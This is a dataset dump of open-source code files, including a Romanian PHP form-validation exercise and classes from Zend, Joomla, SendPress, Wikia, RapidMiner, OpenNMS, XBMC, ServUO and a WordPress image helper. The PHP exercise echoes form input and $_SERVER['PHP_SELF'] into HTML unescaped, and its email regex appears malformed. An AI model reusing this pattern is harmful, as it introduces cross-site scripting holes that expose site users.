repo_name stringlengths 4 116 | path stringlengths 4 379 | size stringlengths 1 7 | content stringlengths 3 1.05M | license stringclasses 15
values |
|---|---|---|---|---|
completit/PHP-MySql | c04/03_form_regex/lucru/01_start.php | 4088 | <?php include "includes/header.html"; ?>
<?php include "includes/form_functions.php"; ?>
<?php
//ini_set('display errors', 1);
# valori initiale, pentru prima afisare a formularului
$nume ='';
$prenume ='';
$email ='';
$mesaj ='';
$calificativ ='';
$limba ='';
$cursuri =array();
# daca a fost transmis formularul, procesez datele
if(isset($_POST['btnSubmit'])) {
$erori = array();//init array-ul de erori
//preiau datele in variabile simple
$nume = trim($_POST['nume']);
$prenume = trim($_POST['prenume']);
$email = trim($_POST['email']);
$mesaj = trim($_POST['mesaj']);
$calificativ = isset($_POST['calificativ'])?$_POST['calificativ']:'';
$limba = $_POST['limba'];
$cursuri = isset($_POST['cursuri'])?$_POST['cursuri']:array();
//validez nume
if(!$nume) {
$erori[] = '<p class="error">campul nume necompletat</p>';
} else { // verific regex
$regex = '/^[a-zA-Z\s\-\']{2,30}$/';
if (!preg_match($regex,$nume)) {
$erori[] = '<p class="error">Campul nume nu este valid</p>';
}
}
//validez prenume
if(!$prenume) {
$erori[] = '<p class="error">campul prenume necompletat</p>';
} else { // verific regex
$regex = '/^[a-zA-Z\s\-\']{2,30}$/';
if (!preg_match($regex,$prenume)) {
$erori[] = '<p class="error">Campul prenume nu este valid</p>';
}
}
//validez email
if(!$email) {
$erori[] = '<p class="error">campul email necompletat</p>';
} else { // verific regex
$regex = '/^[a-zA-Z0-9\.\-_\+]+@[a-zA-Z0-9\.]+\.([a-zA-Z0-9\-]+\)*[a-zA-Z]{2,4}$/';
if (!preg_match($regex,$email)) {
$erori[] = '<p class="error">Campul email nu este valid</p>';
}
}
//validez mesaj
if(!$mesaj) {
$erori[] = '<p class="error">campul mesaj necompletat</p>';
}
//validez calificativ
if(!$calificativ) {
$erori[]='<p class="error">campul mesaj necompletat</p>';
}
//validez limba
if(!$limba) {
$erori[] = '<p class="error">campul limba de predare neselectat</p>';
}
//validez cursuri
if(!$cursuri) {
$erori[] = '<p class="error">campul cursuri neselctat</p>';
}
//print_r($erori); //pt debug
if(is_array($erori) && count($erori)!=0) {//daca am erori, le afisez
echo implode('', $erori);
}else{//daca nu am erori, afisez datele din formular
echo "<p class=\"message\">Nume: $nume</p>";
echo "<p class=\"message\">Prenume: $prenume</p>";
echo "<p class=\"message\">Email: $email</p>";
echo "<p class=\"message\">Calificativ: $calificativ</p>";
echo "<p class=\"message\">Limba de predare: $limba</p>";
echo "<p class=\"message\">Cursuri dorite: ".implode(', ',$cursuri)."</p>";
echo "<p class=\"message\">Mesaj:$mesaj</p>";
}
}//end if(isset($_POST['btnSubmit']))
//daca nu a fost transmis formularul, il afisez pentru completarea campurilor
//$_SERVER['PHP_SELF'] = numele scriptului curent
?>
<form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post">
<fieldset style="width:50%">
<legend>Completati datele:</legend>
<p>
<label class="flabel">Nume:</label>
<?php form_input('nume', $nume, 'text', 'size ="25" maxlength ="50"'); ?>
</p>
<p>
<label class="flabel">Prenume: </label>
<?php form_input('prenume', $prenume, 'text', 'size ="25" maxlength ="50"'); ?>
</p>
<p>
<label class="flabel">Email: </label>
<?php form_input('email', $email, 'text', 'size ="25" maxlength ="50"'); ?>
</p>
<p>
<label class="flabel">Calificativ:</label>
<?php
$array = array('fb'=>'foarte bine','b'=>'bine','s'=>'satisfacator');
form_radio('calificativ', $array, $calificativ);
?>
</p>
<p>
<label class="flabel">Limba de predare:</label>
<?php
$array = array(''=>'Selectati','en'=>'engleza','ro'=>'romana');
form_select('limba', $array, $limba);
?>
</p>
<p>
<label class="flabel">Cursuri dorite:</label>
<?php
$array = array('pyton'=>'Pyton','java'=>'Java','c'=>'C');
form_ck('cursuri', $array, $cursuri);
?>
</p>
<p>
<label class="flabel">Mesaj:</label>
<?php form_textarea('mesaj', $mesaj, 'rows="10" cols="30"'); ?>
</p>
</fieldset>
<?php form_input('btnSubmit', 'Trimite', 'submit'); ?>
</form>
<?php include "includes/footer.html"; ?> | gpl-2.0 |
krashanoff/GechoOpen | Zend/Db/Adapter/Exception.php | 1617 | <?php
/**
* Zend Framework
*
* LICENSE
*
* This source file is subject to the new BSD license that is bundled
* with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://framework.zend.com/license/new-bsd
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to license@zend.com so we can send you a copy immediately.
*
* @category Zend
* @package Zend_Db
* @subpackage Adapter
* @copyright Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
* @license http://framework.zend.com/license/new-bsd New BSD License
* @version $Id: Exception.php 17859 2009-08-27 22:37:17Z beberlei $
*/
/**
* Zend_Db_Exception
*/
require_once 'Zend/Db/Exception.php';
/**
* @category Zend
* @package Zend_Db
* @subpackage Adapter
* @copyright Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
* @license http://framework.zend.com/license/new-bsd New BSD License
*/
class Zend_Db_Adapter_Exception extends Zend_Db_Exception
{
protected $_chainedException = null;
public function __construct($message = null, Exception $e = null)
{
if ($e) {
$this->_chainedException = $e;
$this->code = $e->getCode();
}
parent::__construct($message);
}
public function hasChainedException()
{
return ($this->_chainedException!==null);
}
public function getChainedException()
{
return $this->_chainedException;
}
}
| gpl-2.0 |
yujihayashi/socialismosustentavel | wp-content/plugins/sendpress/classes/class-sendpress-option.php | 2828 | <?php
// SendPress Required Class: SendPress_Option
// Prevent loading this file directly
if ( !defined('SENDPRESS_VERSION') ) {
header('HTTP/1.0 403 Forbidden');
die;
}
if(class_exists('SendPress_Option')){ return; }
/**
* SendPress_Options
*
* @uses
*
*
* @package SendPRess
* @author Josh Lyford
* @license See SENPRESS
* @since 0.8.7
*/
class SendPress_Option extends SendPress_Base {
private static $key = 'sendpress_options';
/**
* get
*
* @param mixed $name Item to get out of SendPress option array.
* @param mixed $default return value if option is not set.
*
* @access public
*
* @return mixed Value default or option value.
*/
static function get( $name, $default = false ) {
$options = get_option( self::$key );
if ( is_array( $options ) && isset( $options[$name] ) ) {
return is_array( $options[$name] ) ? $options[$name] : stripslashes( $options[$name] );
}
return $default;
}
static function get_encrypted( $name , $default = false ) {
$options = get_option( self::$key );
if ( is_array( $options ) && isset( $options[$name] ) ) {
return self::_decrypt( $options[$name] ) ;
}
return $default;
}
/**
* set
*
* @param mixed $option String or Array of options to set.
* @param mixed $value if String name is passed us this to pass value to save.
*
* @access public
*
* @return bool Value success or failure of option save.
*/
static function set($option, $value= null){
$options = get_option( self::$key );
//Set options with an array of values.
if(is_array($option)){
return update_option( self::$key, array_merge( $options, $option ) );
}
if ( !is_array( $options ) ) {
$options = array();
}
$options[$option] = $value;
return update_option( self::$key , $options );
}
static function set_encrypted($option, $value = null){
$options = get_option( self::$key );
$options[$option] = self::_encrypt( $value );
return update_option(self::$key , $options);
}
static function check_for_keys(){
$options = get_option( self::$key );
foreach ($options as $key => $value) {
$pos = strrpos( $key , "current_send_" );
if ($pos !== false) {
unset( $options[ $key ] );
}
}
update_option( self::$key , $options );
}
/**
* is_double_optin
*
*
* @access public
*
* @return bool
*/
static function is_double_optin(){
if( SendPress_Option::get('send_optin_email') == 'yes'){
return true;
}
return false;
}
/**
* use_theme_style
*
*
* @access public
*
* @return bool
*/
static function use_theme_style(){
if( SendPress_Option::get('try-theme') == 'yes'){
return true;
}
return false;
}
}
| gpl-2.0 |
SuriyaaKudoIsc/wikia-app-test | extensions/wikia/MyHome/templates/activityfeed.oasis.tmpl.php | 2217 | <div id="wikiactivity-main" data-type="<?= $type ?>">
<?php if( isset( $emptyMessage ) ): ?>
<h3 class="myhome-empty-message"><?php print $emptyMessage ?></h3>
<?php else: ?>
<ul class="activityfeed reset" id="myhome-activityfeed">
<?php foreach($data as $row): ?>
<li class="activity-type-<?php print FeedRenderer::getIconType($row) ?> activity-ns-<?php print $row['ns'] ?>">
<?php print FeedRenderer::getSprite($row, $wgBlankImgUrl); ?>
<?php if( isset( $row['url'] ) ): ?>
<strong><a class="title" href="<?php print htmlspecialchars($row['url']) ?>"><?php print htmlspecialchars($row['title']) ?></a></strong>
<?php if( !empty($row['wall-url']) ): ?>
<span class="wall-owner">
<?php echo $row['wall-msg']; ?>
</span>
<?php endif; ?>
<br />
<?php if( !empty($row['comments-count']) ): ?>
<?= wfMsgExt('wiki-activity-message-wall-messages-count', array('parseinline'), $row['comments-count']); ?>
<br />
<?php endif;?>
<?php else: ?>
<span class="title"><?php print htmlspecialchars($row['title']) ?></span>
<?php endif; ?>
<?php if( empty($row['wall']) ): ?>
<cite><span class="subtle"><?php print FeedRenderer::getActionLabel($row); ?><?php print ActivityFeedRenderer::formatTimestamp($row['timestamp']); ?></span><?php print FeedRenderer::getDiffLink($row); ?></cite>
<table><?php print FeedRenderer::getDetails($row) ?></table>
<?php else: ?>
<table class="wallfeed"><?php print FeedRenderer::getDetails($row) ?></table>
<?php endif; ?>
<?php
// copied from feed.tmpl.php, BugId:97673
global $wgEnableAchievementsInActivityFeed, $wgEnableAchievementsExt;
if((!empty($wgEnableAchievementsInActivityFeed)) && (!empty($wgEnableAchievementsExt))){
if(isset($row['Badge'])){
$badge = unserialize($row['Badge']);
$ownerBadge = array('badge' => $badge);
AchBadge::renderForActivityFeed($ownerBadge, true);
}
}
?>
</li>
<?php endforeach; ?>
</ul>
<?php if( $showMore ): ?>
<div class="activity-feed-more"><a href="#" data-since="<?= $query_continue ?>"><?= wfMsg('myhome-activity-more') ?></a></div>
<?php endif; ?>
<?php endif; ?>
</div> | gpl-2.0 |
elkorn/SSiED | project/RapidMiner_Unuk/src/com/rapidminer/operator/learner/tree/SingleLabelTermination.java | 1808 | /*
* RapidMiner
*
* Copyright (C) 2001-2013 by Rapid-I and the contributors
*
* Complete list of developers available at our web site:
*
* http://rapid-i.com
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see http://www.gnu.org/licenses/.
*/
package com.rapidminer.operator.learner.tree;
import java.util.Iterator;
import com.rapidminer.example.Attribute;
import com.rapidminer.example.Example;
import com.rapidminer.example.ExampleSet;
/**
* This criterion terminates if only one single label is left.
*
* @author Sebastian Land, Ingo Mierswa
*/
public class SingleLabelTermination implements Terminator {
public SingleLabelTermination() {}
@Override
public boolean shouldStop(ExampleSet exampleSet, int depth) {
Attribute label = exampleSet.getAttributes().getLabel();
Iterator<Example> iterator = exampleSet.iterator();
if (label != null && iterator.hasNext()) {
double singleValue = iterator.next().getValue(label);
while (iterator.hasNext()) {
if (iterator.next().getValue(label) != singleValue) {
return false;
}
}
}
return true;
}
}
| gpl-2.0 |
bugcy013/opennms-tmp-tools | opennms-webapp/src/main/java/org/opennms/web/command/ManageDatabaseReportCommand.java | 1750 | /*******************************************************************************
* This file is part of OpenNMS(R).
*
* Copyright (C) 2010-2011 The OpenNMS Group, Inc.
* OpenNMS(R) is Copyright (C) 1999-2011 The OpenNMS Group, Inc.
*
* OpenNMS(R) is a registered trademark of The OpenNMS Group, Inc.
*
* OpenNMS(R) is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published
* by the Free Software Foundation, either version 3 of the License,
* or (at your option) any later version.
*
* OpenNMS(R) is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with OpenNMS(R). If not, see:
* http://www.gnu.org/licenses/
*
* For more information contact:
* OpenNMS(R) Licensing <license@opennms.org>
* http://www.opennms.org/
* http://www.opennms.com/
*******************************************************************************/
package org.opennms.web.command;
/**
* <p>ManageDatabaseReportCommand class.</p>
*
* @author ranger
* @version $Id: $
* @since 1.8.1
*/
public class ManageDatabaseReportCommand {
private Integer[] m_ids;
/**
* <p>setIds</p>
*
* @param ids an array of {@link java.lang.Integer} objects.
*/
public void setIds(Integer[] ids) {
m_ids = ids;
}
/**
* <p>getIds</p>
*
* @return an array of {@link java.lang.Integer} objects.
*/
public Integer[] getIds() {
return m_ids;
}
}
| gpl-2.0 |
davilla/meatgrinder | xbmc/filesystem/SourcesDirectory.cpp | 3794 | /*
* Copyright (C) 2005-2013 Team XBMC
* http://xbmc.org
*
* This Program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2, or (at your option)
* any later version.
*
* This Program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with XBMC; see the file COPYING. If not, see
* <http://www.gnu.org/licenses/>.
*
*/
#include "SourcesDirectory.h"
#include "utils/URIUtils.h"
#include "URL.h"
#include "Util.h"
#include "FileItem.h"
#include "File.h"
#include "profiles/ProfilesManager.h"
#include "settings/MediaSourceSettings.h"
#include "guilib/TextureManager.h"
#include "storage/MediaManager.h"
#include "utils/StringUtils.h"
using namespace XFILE;
CSourcesDirectory::CSourcesDirectory(void)
{
}
CSourcesDirectory::~CSourcesDirectory(void)
{
}
bool CSourcesDirectory::GetDirectory(const CURL& url, CFileItemList &items)
{
// break up our path
// format is: sources://<type>/
CStdString type(url.GetFileName());
URIUtils::RemoveSlashAtEnd(type);
VECSOURCES sources;
VECSOURCES *sourcesFromType = CMediaSourceSettings::Get().GetSources(type);
if (sourcesFromType)
sources = *sourcesFromType;
g_mediaManager.GetRemovableDrives(sources);
if (!sourcesFromType)
return false;
return GetDirectory(sources, items);
}
bool CSourcesDirectory::GetDirectory(const VECSOURCES &sources, CFileItemList &items)
{
for (unsigned int i = 0; i < sources.size(); ++i)
{
const CMediaSource& share = sources[i];
CFileItemPtr pItem(new CFileItem(share));
if (StringUtils::StartsWithNoCase(pItem->GetPath(), "musicsearch://"))
pItem->SetCanQueue(false);
CStdString strIcon;
// We have the real DVD-ROM, set icon on disktype
if (share.m_iDriveType == CMediaSource::SOURCE_TYPE_DVD && share.m_strThumbnailImage.empty())
{
CUtil::GetDVDDriveIcon( pItem->GetPath(), strIcon );
// CDetectDVDMedia::SetNewDVDShareUrl() caches disc thumb as special://temp/dvdicon.tbn
CStdString strThumb = "special://temp/dvdicon.tbn";
if (XFILE::CFile::Exists(strThumb))
pItem->SetArt("thumb", strThumb);
}
else if (StringUtils::StartsWith(pItem->GetPath(), "addons://"))
strIcon = "DefaultHardDisk.png";
else if ( pItem->IsVideoDb()
|| pItem->IsMusicDb()
|| pItem->IsPlugin()
|| pItem->GetPath() == "special://musicplaylists/"
|| pItem->GetPath() == "special://videoplaylists/"
|| pItem->GetPath() == "musicsearch://")
strIcon = "DefaultFolder.png";
else if (pItem->IsRemote())
strIcon = "DefaultNetwork.png";
else if (pItem->IsISO9660())
strIcon = "DefaultDVDRom.png";
else if (pItem->IsDVD())
strIcon = "DefaultDVDRom.png";
else if (pItem->IsCDDA())
strIcon = "DefaultCDDA.png";
else if (pItem->IsRemovable() && g_TextureManager.HasTexture("DefaultRemovableDisk.png"))
strIcon = "DefaultRemovableDisk.png";
else
strIcon = "DefaultHardDisk.png";
pItem->SetIconImage(strIcon);
if (share.m_iHasLock == 2 && CProfilesManager::Get().GetMasterProfile().getLockMode() != LOCK_MODE_EVERYONE)
pItem->SetOverlayImage(CGUIListItem::ICON_OVERLAY_LOCKED);
else
pItem->SetOverlayImage(CGUIListItem::ICON_OVERLAY_NONE);
items.Add(pItem);
}
return true;
}
bool CSourcesDirectory::Exists(const CURL& url)
{
return true;
}
| gpl-2.0 |
jo-sf/joomla-cms | libraries/src/Table/Menu.php | 8136 | <?php
/**
* Joomla! Content Management System
*
* @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\CMS\Table;
defined('JPATH_PLATFORM') or die;
use Joomla\CMS\Application\ApplicationHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\Registry\Registry;
/**
* Menu table
*
* @since 1.5
*/
class Menu extends Nested
{
/**
* Constructor
*
* @param \JDatabaseDriver $db Database driver object.
*
* @since 1.5
*/
public function __construct(\JDatabaseDriver $db)
{
parent::__construct('#__menu', 'id', $db);
// Set the default access level.
$this->access = (int) \JFactory::getConfig()->get('access');
}
/**
* Overloaded bind function
*
* @param array $array Named array
* @param mixed $ignore An optional array or space separated list of properties to ignore while binding.
*
* @return mixed Null if operation was satisfactory, otherwise returns an error
*
* @see Table::bind()
* @since 1.5
*/
public function bind($array, $ignore = '')
{
// Verify that the default home menu is not unset
if ($this->home == '1' && $this->language === '*' && $array['home'] == '0')
{
$this->setError(\JText::_('JLIB_DATABASE_ERROR_MENU_CANNOT_UNSET_DEFAULT_DEFAULT'));
return false;
}
// Verify that the default home menu set to "all" languages" is not unset
if ($this->home == '1' && $this->language === '*' && $array['language'] !== '*')
{
$this->setError(\JText::_('JLIB_DATABASE_ERROR_MENU_CANNOT_UNSET_DEFAULT'));
return false;
}
// Verify that the default home menu is not unpublished
if ($this->home == '1' && $this->language === '*' && $array['published'] != '1')
{
$this->setError(\JText::_('JLIB_DATABASE_ERROR_MENU_UNPUBLISH_DEFAULT_HOME'));
return false;
}
if (isset($array['params']) && is_array($array['params']))
{
$registry = new Registry($array['params']);
$array['params'] = (string) $registry;
}
return parent::bind($array, $ignore);
}
/**
* Overloaded check function
*
* @return boolean True on success
*
* @see Table::check()
* @since 1.5
*/
public function check()
{
// Check for a title.
if (trim($this->title) === '')
{
$this->setError(\JText::_('JLIB_DATABASE_ERROR_MUSTCONTAIN_A_TITLE_MENUITEM'));
return false;
}
// Check for a path.
if (trim($this->path) === '')
{
$this->path = $this->alias;
}
// Check for params.
if (trim($this->params) === '')
{
$this->params = '{}';
}
// Check for img.
if (trim($this->img) === '')
{
$this->img = ' ';
}
// Cast the home property to an int for checking.
$this->home = (int) $this->home;
// Verify that the home item is a component.
if ($this->home && $this->type !== 'component')
{
$this->setError(\JText::_('JLIB_DATABASE_ERROR_MENU_HOME_NOT_COMPONENT'));
return false;
}
return true;
}
/**
* Overloaded store function
*
* @param boolean $updateNulls True to update fields even if they are null.
*
* @return mixed False on failure, positive integer on success.
*
* @see Table::store()
* @since 1.6
*/
public function store($updateNulls = false)
{
$db = \JFactory::getDbo();
// Verify that the alias is unique
$table = Table::getInstance('Menu', 'JTable', array('dbo' => $this->getDbo()));
$originalAlias = trim($this->alias);
$this->alias = !$originalAlias ? $this->title : $originalAlias;
$this->alias = ApplicationHelper::stringURLSafe(trim($this->alias), $this->language);
if ($this->parent_id == 1 && $this->client_id == 0)
{
// Verify that a first level menu item alias is not 'component'.
if ($this->alias == 'component')
{
$this->setError(\JText::_('JLIB_DATABASE_ERROR_MENU_ROOT_ALIAS_COMPONENT'));
return false;
}
// Verify that a first level menu item alias is not the name of a folder.
jimport('joomla.filesystem.folder');
if (in_array($this->alias, \JFolder::folders(JPATH_ROOT)))
{
$this->setError(\JText::sprintf('JLIB_DATABASE_ERROR_MENU_ROOT_ALIAS_FOLDER', $this->alias, $this->alias));
return false;
}
}
// If alias still empty (for instance, new menu item with chinese characters with no unicode alias setting).
if (empty($this->alias))
{
$this->alias = \JFactory::getDate()->format('Y-m-d-H-i-s');
}
else
{
$itemSearch = array('alias' => $this->alias, 'parent_id' => $this->parent_id, 'client_id' => (int) $this->client_id);
$error = false;
// Check if the alias already exists. For multilingual site.
if (Multilanguage::isEnabled() && (int) $this->client_id == 0)
{
// If there is a menu item at the same level with the same alias (in the All or the same language).
if (($table->load(array_replace($itemSearch, array('language' => '*'))) && ($table->id != $this->id || $this->id == 0))
|| ($table->load(array_replace($itemSearch, array('language' => $this->language))) && ($table->id != $this->id || $this->id == 0))
|| ($this->language === '*' && $this->id == 0 && $table->load($itemSearch)))
{
$error = true;
}
// When editing an item with All language check if there are more menu items with the same alias in any language.
elseif ($this->language === '*' && $this->id != 0)
{
$query = $db->getQuery(true)
->select('id')
->from($db->quoteName('#__menu'))
->where($db->quoteName('parent_id') . ' = 1')
->where($db->quoteName('client_id') . ' = 0')
->where($db->quoteName('id') . ' != ' . (int) $this->id)
->where($db->quoteName('alias') . ' = ' . $db->quote($this->alias));
$otherMenuItemId = (int) $db->setQuery($query)->loadResult();
if ($otherMenuItemId)
{
$table->load(array('id' => $otherMenuItemId));
$error = true;
}
}
}
// Check if the alias already exists. For monolingual site.
else
{
// If there is a menu item at the same level with the same alias (in any language).
if ($table->load($itemSearch) && ($table->id != $this->id || $this->id == 0))
{
$error = true;
}
}
// The alias already exists. Enqueue an error message.
if ($error)
{
$menuTypeTable = Table::getInstance('MenuType', 'JTable', array('dbo' => $this->getDbo()));
$menuTypeTable->load(array('menutype' => $table->menutype));
$this->setError(\JText::sprintf('JLIB_DATABASE_ERROR_MENU_UNIQUE_ALIAS', $this->alias, $table->title, $menuTypeTable->title));
return false;
}
}
if ($this->home == '1')
{
// Verify that the home page for this menu is unique.
if ($table->load(
array(
'menutype' => $this->menutype,
'client_id' => (int) $this->client_id,
'home' => '1',
)
)
&& ($table->language != $this->language))
{
$this->setError(\JText::_('JLIB_DATABASE_ERROR_MENU_HOME_NOT_UNIQUE_IN_MENU'));
return false;
}
// Verify that the home page for this language is unique per client id
if ($table->load(array('home' => '1', 'language' => $this->language, 'client_id' => (int) $this->client_id)))
{
if ($table->checked_out && $table->checked_out != $this->checked_out)
{
$this->setError(\JText::_('JLIB_DATABASE_ERROR_MENU_DEFAULT_CHECKIN_USER_MISMATCH'));
return false;
}
$table->home = 0;
$table->checked_out = 0;
$table->checked_out_time = $db->getNullDate();
$table->store();
}
}
if (!parent::store($updateNulls))
{
return false;
}
// Get the new path in case the node was moved
$pathNodes = $this->getPath();
$segments = array();
foreach ($pathNodes as $node)
{
// Don't include root in path
if ($node->alias !== 'root')
{
$segments[] = $node->alias;
}
}
$newPath = trim(implode('/', $segments), ' /\\');
// Use new path for partial rebuild of table
// Rebuild will return positive integer on success, false on failure
return $this->rebuild($this->{$this->_tbl_key}, $this->lft, $this->level, $newPath) > 0;
}
}
| gpl-2.0 |
A2152225/ServUO | Scripts/Items/Artifacts/Equipment/Weapons/CavalrysFolly.cs | 1307 | using System;
namespace Server.Items
{
public class CavalrysFolly : BladedStaff
{
public override bool IsArtifact { get { return true; } }
public override int LabelNumber { get { return 1115446; } } // Cavalry's Folly
[Constructable]
public CavalrysFolly()
: base()
{
Hue = 1165;
Attributes.BonusHits = 2;
Attributes.AttackChance = 10;
Attributes.WeaponDamage = 45;
Attributes.WeaponSpeed = 35;
WeaponAttributes.HitLowerDefend = 40;
WeaponAttributes.HitFireball = 40;
}
public CavalrysFolly(Serial serial)
: base(serial)
{
}
public override int InitMinHits
{
get
{
return 255;
}
}
public override int InitMaxHits
{
get
{
return 255;
}
}
public override void Serialize(GenericWriter writer)
{
base.Serialize(writer);
writer.Write((int)0); // version
}
public override void Deserialize(GenericReader reader)
{
base.Deserialize(reader);
int version = reader.ReadInt();
}
}
} | gpl-2.0 |
ayuzhanin/cornell-spf-scala | src/main/java/edu/cornell/cs/nlp/spf/ccg/categories/ComplexCategory.java | 3051 | /*******************************************************************************
* Copyright (C) 2011 - 2015 Yoav Artzi, All rights reserved.
* <p>
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* <p>
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 51
* Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*******************************************************************************/
package edu.cornell.cs.nlp.spf.ccg.categories;
import edu.cornell.cs.nlp.spf.ccg.categories.syntax.ComplexSyntax;
import edu.cornell.cs.nlp.spf.ccg.categories.syntax.Slash;
/**
* A CCG category with a complex syntactic category.
*
* @author Yoav Artzi
* @param <MR>
* Meaning representation.
*/
public class ComplexCategory<MR> extends Category<MR> {
private static final long serialVersionUID = -6816584146794811796L;
/**
* Immutable cache for the hashing code. This field is for internal use
* only! It mustn't be used when copying/comparing/storing/etc. the object.
*/
private final int hashCodeCache;
private final ComplexSyntax syntax;
public ComplexCategory(ComplexSyntax syntax, MR semantics) {
super(semantics);
this.syntax = syntax;
this.hashCodeCache = calcHashCode();
}
@Override
public Category<MR> cloneWithNewSemantics(MR newSemantics) {
return new ComplexCategory<MR>(syntax, newSemantics);
}
@Override
public boolean equals(Object obj) {
if (this == obj) {
return true;
}
if (!super.equals(obj)) {
return false;
}
if (getClass() != obj.getClass()) {
return false;
}
@SuppressWarnings("unchecked")
final ComplexCategory<MR> other = (ComplexCategory<MR>) obj;
if (!syntax.equals(other.syntax)) {
return false;
}
return true;
}
public Slash getSlash() {
return syntax.getSlash();
}
@Override
public ComplexSyntax getSyntax() {
return syntax;
}
@Override
public int hashCode() {
return hashCodeCache;
}
/**
* 'true' iff the slash is semantically equal to the given one.
*/
public boolean hasSlash(Slash s) {
return syntax.getSlash() == Slash.VERTICAL || s == syntax.getSlash()
|| s == Slash.VERTICAL;
}
@Override
public int numSlashes() {
return syntax.numSlashes();
}
@Override
public String toString() {
final StringBuilder result = new StringBuilder(syntax.toString());
if (getSemantics() != null) {
result.append(" : ").append(getSemantics().toString());
}
return result.toString();
}
@Override
protected int syntaxHash() {
return syntax.hashCode();
}
}
| gpl-2.0 |
nhiha60591/sumona-new | wp-content/themes/Directory/library/extensions/get-the-image.php | 19527 | <?php
/**
* Get the Image - An advanced post image script for WordPress.
*
* Get the Image was created to be a highly-intuitive image script that displays post-specific images (an
* image-based representation of a post). The script handles old-style post images via custom fields for
* backwards compatibility. It also supports WordPress' built-in featured image functionality. On top of
* those things, it can automatically set attachment images as the post image or scan the post content for
* the first image element used. It can also fall back to a given default image.
*
* This program is free software; you can redistribute it and/or modify it under the terms of the GNU
* General Public License as published by the Free Software Foundation; either version 2 of the License,
* or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* @package GetTheImage
* @version 0.8.0
* @author Justin Tadlock <justin@justintadlock.com>
* @copyright Copyright (c) 2008 - 2012, Justin Tadlock
* @link http://justintadlock.com/archives/2008/05/27/get-the-image-wordpress-plugin
* @license http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
*/
/* Adds theme support for WordPress 'featured images'. */
add_theme_support( 'post-thumbnails' );
/* Delete the cache when a post or post metadata is updated. */
add_action( 'save_post', 'get_the_image_delete_cache_by_post' );
add_action( 'deleted_post_meta', 'get_the_image_delete_cache_by_meta', 10, 2 );
add_action( 'updated_post_meta', 'get_the_image_delete_cache_by_meta', 10, 2 );
add_action( 'added_post_meta', 'get_the_image_delete_cache_by_meta', 10, 2 );
/**
* The main image function for displaying an image. It supports several arguments that allow developers to
* customize how the script outputs the image.
*
* The image check order is important to note here. If an image is found by any specific check, the script
* will no longer look for images. The check order is 'meta_key', 'the_post_thumbnail', 'attachment',
* 'image_scan', 'callback', and 'default_image'.
*
* @since 0.1.0
* @access public
* @global $post The current post's database object.
* @param array $args Arguments for how to load and display the image.
* @return string|array The HTML for the image. | Image attributes in an array.
*/
function get_the_image( $args = array() ) {
/* Set the default arguments. */
$defaults = array(
'meta_key' => array( 'Thumbnail', 'thumbnail' ), // array|string
'post_id' => get_the_ID(),
'attachment' => true,
'the_post_thumbnail' => true, // WP 2.9+ image function
'size' => 'thumbnail',
'default_image' => false,
'order_of_image' => 1,
'link_class' => 'link_img',
'link_to_post' => true,
'image_class' => false,
'image_scan' => false,
'width' => false,
'height' => false,
'format' => 'img',
'meta_key_save' => false,
'thumbnail_id_save' => false, // Set 'featured image'.
'callback' => null,
'cache' => true,
'before' => '',
'after' => '',
'echo' => true,
'custom_key' => null, // @deprecated 0.6. Use 'meta_key'.
'default_size' => null, // @deprecated 0.5. Use 'size'.
'data-rel' => '', // @deprecated 0.5. Use 'size'.
);
/* Allow plugins/themes to filter the arguments. */
$args = apply_filters( 'get_the_image_args', $args );
/* Merge the input arguments and the defaults. */
$args = wp_parse_args( $args, $defaults );
/* If $default_size is given, overwrite $size. */
if ( !is_null( $args['link_class'] ) )
$args['link_class'] = $args['link_class']; // Deprecated 0.5 in favor of $size
/* If $default_size is given, overwrite $size. */
if ( !is_null( $args['default_size'] ) )
$args['size'] = $args['default_size']; // Deprecated 0.5 in favor of $size
/* If $custom_key is set, overwrite $meta_key. */
if ( !is_null( $args['custom_key'] ) )
$args['meta_key'] = $args['custom_key']; // Deprecated 0.6 in favor of $meta_key
/* If $format is set to 'array', don't link to the post. */
if ( 'array' == $args['format'] )
$args['link_to_post'] = false;
/* Extract the array to allow easy use of variables. */
extract( $args );
/* Get cache key based on $args. */
$key = md5( serialize( compact( array_keys( $args ) ) ) );
/* Check for a cached image. */
$image_cache = wp_cache_get( $post_id, 'get_the_image' );
if ( !is_array( $image_cache ) )
$image_cache = array();
/* Set up a default, empty $image_html variable. */
$image_html = '';
/* If there is no cached image, let's see if one exists. */
